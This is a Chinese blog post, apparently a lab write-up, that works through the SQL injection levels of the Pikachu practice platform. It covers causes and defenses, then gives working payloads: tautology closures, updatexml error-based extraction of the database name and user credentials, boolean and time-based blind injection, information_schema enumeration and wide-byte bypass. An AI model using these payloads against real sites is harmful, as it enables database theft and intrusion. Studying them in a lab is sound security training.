热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:PikachuSQL注入

篇首语:本文由编程笔记#小编为大家整理,主要介绍了Pikachu-SQL注入相关的知识,希望对你有一定的参考价值。摘要:

篇首语:本文由编程笔记#小编为大家整理,主要介绍了Pikachu-SQL注入相关的知识,希望对你有一定的参考价值。




摘要:

  SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!


产生漏洞的原因:

  SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。比如我们期望用户输入整数的id 1,但是用户输入了1 or 1=1,这是条能被正常执行的SQL语句,导致表中的数据都会输出。


注入点类型:

1. 数字型:user_id=$id

2. 字符型:user_id=\'$id\'

3. 搜索型:text LIKE \'%{$_GET[\'search\']}%\'"


SQL注入的攻击流程:

1.注入点探测

自动方式:使用web漏洞扫描工具,自动进行注入点发现

手动方式:手工构造SQL注入测试语句进行注入点发现

2.信息获取,通过注入点取得期望得到的数据

1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等

2.数据库信息:数据库蜜罐,数据库表,表字段,字段内容等(加密内容破解)

3.获取权限

通过数据库执行shell,上传木马等方法

 

下面开始闯关:


数字型注入(post)

直接输入数字就可

 

 

正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。

那我们来抓包来测试一下 ,把传入的参数改成 1 or 1=1。

按理说应该取出了数据库中全部数据,才说明存在数字型注入漏洞。我这里不知道怎么错了,疑惑出不来数据库

 

 


字符型注入(get):

输入lili,可以得到:

 

 

 因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号

我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload为:kobe\' or 1=1#

这样我们要查的这个表中全部信息就出来了。

 


搜索型注入:

   构造对应的闭合,闭合前面的 单引号 和 百分号,注释后面的百分号和单引号。构造的payload如下

xxxx%\' or 1=1#

 我们输入li%\' or 1=1#

 

 


XX型注入

使用payload xx\')or 1=1# 可得

 

 


insert/update注入

  所谓 insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。


1.insert注入

使用updataxml 函数

注入payload

1\' or updatexml(1,concat(0x7e,database()),0) or\'

 

 得到皮卡丘的数据库名字是 pikachu

 

 

这个我还没搞明白,截图以后更~


2 update注入

先登录进去,在修改资料处抓包
Payload和insert注入相同:

1\' or updatexml(1,concat(0x7e,database()),0) or\'
同样能得到皮卡丘的数据库名字是 pikachu


 


delete注入:

先进行留言 在删除的时候抓包

由于是get的类型的 在payload记得进行url编码

payload 与之前一样如下:1 or updatexml(1, concat(0x7e,database()), 0)  (要进行URL编码)

 

 

 


http header注入

  开发人员为了验证客户端头信息(比如COOKIE验证)使用或者通过http header获取客户端的一些信息等,会对客户端的http header信息进行获取并使用SQL进行处理。

先登录

 

 

   然后抓包,修改user-agent或者COOKIE完成注入:1\' or updatexml(1, concat(0x7e,(select (concat_ws(\'-\',username,password)) from pikachu.users limit 0,1)  ),1) or \'

 

 

 

 

 


盲注 based on boolean:

  在有些情况下,后台使用了错误屏蔽方法屏蔽了报错,此时无法根据报错信息来进行注入的判断这种情况下的注入,称为“盲注”。

只有加and 1=1#才能返回个人信息,or 1=1#报错

用函数来构造payload

lili\' and ascii(substr(database(),1,1))=112#

 

 

lili\' and ascii(substr(database(),1,1)>110#

 lili\' and ascii(substr(database(),1,1)<113#

 112通过多次比较才能试出来

 然后获取表名
test payload:
lili\'  union select table_schema,table_name from information_schema.tables where table_schema=\'pikachu\'#

然后获取字段名

lili\'  union select table_name,column_name from information_schema.columns where table_name=\'users\'#

 


盲注(base on time)

同样的也是挨个试,这次看对错是看这个反应时间,要是可以的话就会五秒多一些。

payload:

lili’ and sleep(5)#

 

 

  基于时间的注入就什么都看不到了,我们通过特定的输入,判断后台执行的时间,从而确定注入点,在皮卡丘平台一,无论输入什么,前端都是显示“I don\'t care who you are!”


宽字节注入:

刚开始尝试发现注入不行,抓包发现以及进行了编码

 在抓包后修改也不行  

 发现‘被后台转移,所以构造payload 1%df\' or 1=1#

 

 

注入成功!!!

 

 

 



推荐阅读
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 本文介绍了adg架构设置在企业数据治理中的应用。随着信息技术的发展,企业IT系统的快速发展使得数据成为企业业务增长的新动力,但同时也带来了数据冗余、数据难发现、效率低下、资源消耗等问题。本文讨论了企业面临的几类尖锐问题,并提出了解决方案,包括确保库表结构与系统测试版本一致、避免数据冗余、快速定位问题等。此外,本文还探讨了adg架构在大版本升级、上云服务和微服务治理方面的应用。通过本文的介绍,读者可以了解到adg架构设置的重要性及其在企业数据治理中的应用。 ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • ALTERTABLE通过更改、添加、除去列和约束,或者通过启用或禁用约束和触发器来更改表的定义。语法ALTERTABLEtable{[ALTERCOLUMNcolu ... [详细]
  • 前景:当UI一个查询条件为多项选择,或录入多个条件的时候,比如查询所有名称里面包含以下动态条件,需要模糊查询里面每一项时比如是这样一个数组条件:newstring[]{兴业银行, ... [详细]
  • 如何在php中将mysql查询结果赋值给变量
    本文介绍了在php中将mysql查询结果赋值给变量的方法,包括从mysql表中查询count(学号)并赋值给一个变量,以及如何将sql中查询单条结果赋值给php页面的一个变量。同时还讨论了php调用mysql查询结果到变量的方法,并提供了示例代码。 ... [详细]
  • 在线教育平台的搭建及其优势
    在线教育平台的搭建对于教育发展来说是一次重大进步。未来在线教育市场前景广阔,但许多老师不知道如何入手。本文介绍了在线教育平台的搭建方法以及与传统教育相比的优势,包括时间、地点、空间的灵活性,改善教育不公平现象以及个性化教学的特点。在线教育平台的搭建将为学生提供更好的教育资源,解决教育不公平的问题。 ... [详细]
  • 本文介绍了使用cacti监控mssql 2005运行资源情况的操作步骤,包括安装必要的工具和驱动,测试mssql的连接,配置监控脚本等。通过php连接mssql来获取SQL 2005性能计算器的值,实现对mssql的监控。详细的操作步骤和代码请参考附件。 ... [详细]
  • 本文介绍了RxJava在Android开发中的广泛应用以及其在事件总线(Event Bus)实现中的使用方法。RxJava是一种基于观察者模式的异步java库,可以提高开发效率、降低维护成本。通过RxJava,开发者可以实现事件的异步处理和链式操作。对于已经具备RxJava基础的开发者来说,本文将详细介绍如何利用RxJava实现事件总线,并提供了使用建议。 ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
author-avatar
旧梦半分_399
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有